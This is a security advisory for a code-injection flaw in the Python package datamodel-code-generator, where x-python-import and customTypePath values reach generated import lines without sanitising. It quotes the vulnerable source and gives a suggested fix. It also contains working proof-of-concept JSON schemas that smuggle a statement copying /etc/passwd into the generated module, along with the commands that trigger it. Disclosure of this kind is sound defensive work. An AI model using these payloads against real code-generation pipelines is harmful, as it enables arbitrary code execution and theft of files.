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Code injection via `x-python-import` / `customTypePath` in generated import statements

High
koxudaxi published GHSA-5578-w22f-pfx9 Jun 12, 2026

Package

pip datamodel-code-generator (pip)

Affected versions

>= 0.11.6, <= 0.63.0

Patched versions

None

Description

Summary

A malicious input schema (OpenAPI / JSON Schema) can execute arbitrary Python code on the machine that imports the generated model. The x-python-import and customTypePath schema extensions flow, unsanitized, into the import statements datamodel-code-generator emits. A newline embedded in the extension value breaks out of the from … import … line and injects an attacker-controlled statement at module scope, which runs at import time. This is an unauthenticated, schema-content–driven remote code execution against any consumer of the generated code (e.g. arbitrary file read,the PoC exfiltrates /etc/passwd). It survives the v0.61.0 security release that fixed the related x-python-type, default_factory, GraphQL-union-description, and validators sinks those fixes did not cover this sibling path.

Details

The sink is Import.from_full_path and Imports.create_line:

  • src/datamodel_code_generator/imports.py:35from_full_path() only does class_path.split(".") and preserves every other character, including newlines:
    @classmethod
    @lru_cache
    def from_full_path(cls, class_path: str) -> Import:
        split_class_path: list[str] = class_path.split(".")
        return cls(import_=split_class_path[-1], from_=".".join(split_class_path[:-1]) or None)
  • src/datamodel_code_generator/imports.py:64create_line() renders the result verbatim:
    def create_line(self, from_: str | None, imports: set[str]) -> str:
        if from_:
            return f"from {from_} import {', '.join(self._set_alias(from_, imports))}"
        return "\n".join(f"import {i}" for i in self._set_alias(from_, imports))

There is no check that the path segments are Python identifiers, contrast validators._validate_dotted_python_identifier_path, which the same v0.61.0 release added for the validators config, and types.is_python_type_annotation, added for x-python-type. The two extensions below were left unguarded.

Two schema-controlled, default-config entry points reach this sink:

  1. x-python-importsrc/datamodel_code_generator/parser/jsonschema.py:1851-1858 (get_ref_data_type):
    x_python_import = ref_schema.extras.get("x-python-import")
    if isinstance(x_python_import, dict):
        module = x_python_import.get("module")
        type_name = x_python_import.get("name")
        if module and type_name:
            full_path = f"{module}.{type_name}"
            import_ = Import.from_full_path(full_path)
            self.imports.append(import_)
  2. customTypePath — declared at src/datamodel_code_generator/parser/jsonschema.py:438, consumed at :4118 and :4365 via get_data_type_from_full_path(custom_type_path, is_custom_type=True) → the same Import.from_full_path sink.

Mechanism. With name = "getcwd\nprint(...)", full_path = "os.getcwd\nprint(...)". from_full_path splits only on ., so (provided the injected statement contains no .) it yields from_="os" and import_="getcwd\nprint(...)". create_line then emits:

from os import getcwd
print(...)        # ← attacker statement at module scope, executes on import

The dot-split is the only constraint on the payload; it is trivially satisfied with attribute-free builtins (e.g. print(*open('/etc/passwd'), file=open('/tmp/loot','w'), sep='', end='') reads and exfiltrates a file using no .).

None of the six v0.61.0 fix commits (aec47bc4, b73abb5c, 17fc235e, 2c93c9b7, a43d0290, 5fdba4a0) touched x-python-import, customTypePath, or imports.py; imports.py was last modified ~5 months before the release. This is therefore an incomplete fix: the maintainer hardened sibling schema-controlled type/extension sinks but missed these two paths into the same import-generation code.

PoC

Self contained POC available here: https://gist.github.com/thegr1ffyn/c3abb41bb89c164daa0d5f2c60b5328b

Default invocation, no special flags, on the patched release (commit 227ffe85ee2dcfc79336fbb14ad64c02a166b65a, v0.61.0).

payload_a.json:

{
  "type": "object",
  "title": "Root",
  "required": ["f"],
  "properties": { "f": { "$ref": "#/$defs/Evil" } },
  "$defs": {
    "Evil": {
      "type": "object",
      "x-python-import": {
        "module": "os",
        "name": "getcwd\nprint(*open('/etc/passwd'),file=open('/tmp/dmcg_xpi_loot','w'),sep='',end='')"
      }
    }
  }
}

Generate and import:

datamodel-codegen --input payload_a.json --input-file-type jsonschema --output model.py
python -c "import model"

Generated model.py (verbatim, the breakout sits at module scope):

from __future__ import annotations

from os import getcwd

print(*open('/etc/passwd'), file=open('/tmp/dmcg_xpi_loot', 'w'), sep='', end='')
from os import getcwd

print(*open('/etc/passwd'), file=open('/tmp/dmcg_xpi_loot', 'w'), sep='', end='')
from pydantic import BaseModel
...

Importing model reads /etc/passwd and writes an exact copy to /tmp/dmcg_xpi_loot:

$ head -1 /tmp/dmcg_xpi_loot
root:x:0:0:root:/root:/bin/bash

Confirmed under both the default output (pydantic v1) and --output-model-type pydantic_v2.BaseModel. The customTypePath variant reproduces identically:

{ "type":"object","title":"Root","required":["f"],
  "properties":{ "f":{ "type":"object",
    "customTypePath":"os.getcwd\nprint(*open('/etc/passwd'),file=open('/tmp/dmcg_ctp_loot','w'),sep='',end='')" }}}

A benign control (x-python-import: {"module":"decimal","name":"Decimal"}) produces clean from decimal import Decimal and no execution. A complete self-contained validation harness, run.sh plus control.json, payload_a.json, payload_b.json, is included alongside this advisory (CONTROL clean + three payloads firing + verdict + cleanup).

Suggested fix. Validate every dotted segment of module, name, and customTypePath as a Python identifier before building the import (reuse validators._validate_dotted_python_identifier_path), and/or reject non-identifier paths centrally inside Import.from_full_path.

Impact

Arbitrary code execution at model-import time, driven by attacker-controlled schema content under the default configuration. Anyone who runs datamodel-code-generator on an untrusted or third-party schema, multi-tenant code-generation services, CI pipelines that ingest external specs, or a developer generating models from a public/vendor OpenAPI/JSON-Schema document, and then imports (or whose tooling imports) the generated module, executes the attacker's code with the importing process's privileges. The PoC demonstrates arbitrary local file read (/etc/passwd); the same primitive yields full RCE.

Maintainer status

Confirmed by maintainer review and regression tests. A private fix PR is open and should be merged before publishing this advisory: https://github.com/koxudaxi/datamodel-code-generator-ghsa-5578-w22f-pfx9/pull/1

Fix summary: validate x-python-import and customTypePath values as dotted Python identifier paths before using them in generated imports or type paths.

Release status: not fixed in 0.63.0; customTypePath was introduced in 0.11.6, so affected versions are >= 0.11.6, <= 0.63.0. This advisory should remain unpublished until the private PR is merged and a patched release is available.

Validation: uv run --group test --extra http pytest tests/main/jsonschema/test_main_jsonschema.py tests/parser/test_jsonschema.py passed locally; uv run --group fix ruff check src/datamodel_code_generator/parser/jsonschema.py tests/main/jsonschema/test_main_jsonschema.py passed.

Submitted by: Hamza Haroon (thegr1ffyn)

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

CVE ID

CVE-2026-55415

Weaknesses

Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. Learn more on MITRE.

Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. eval). Learn more on MITRE.

Credits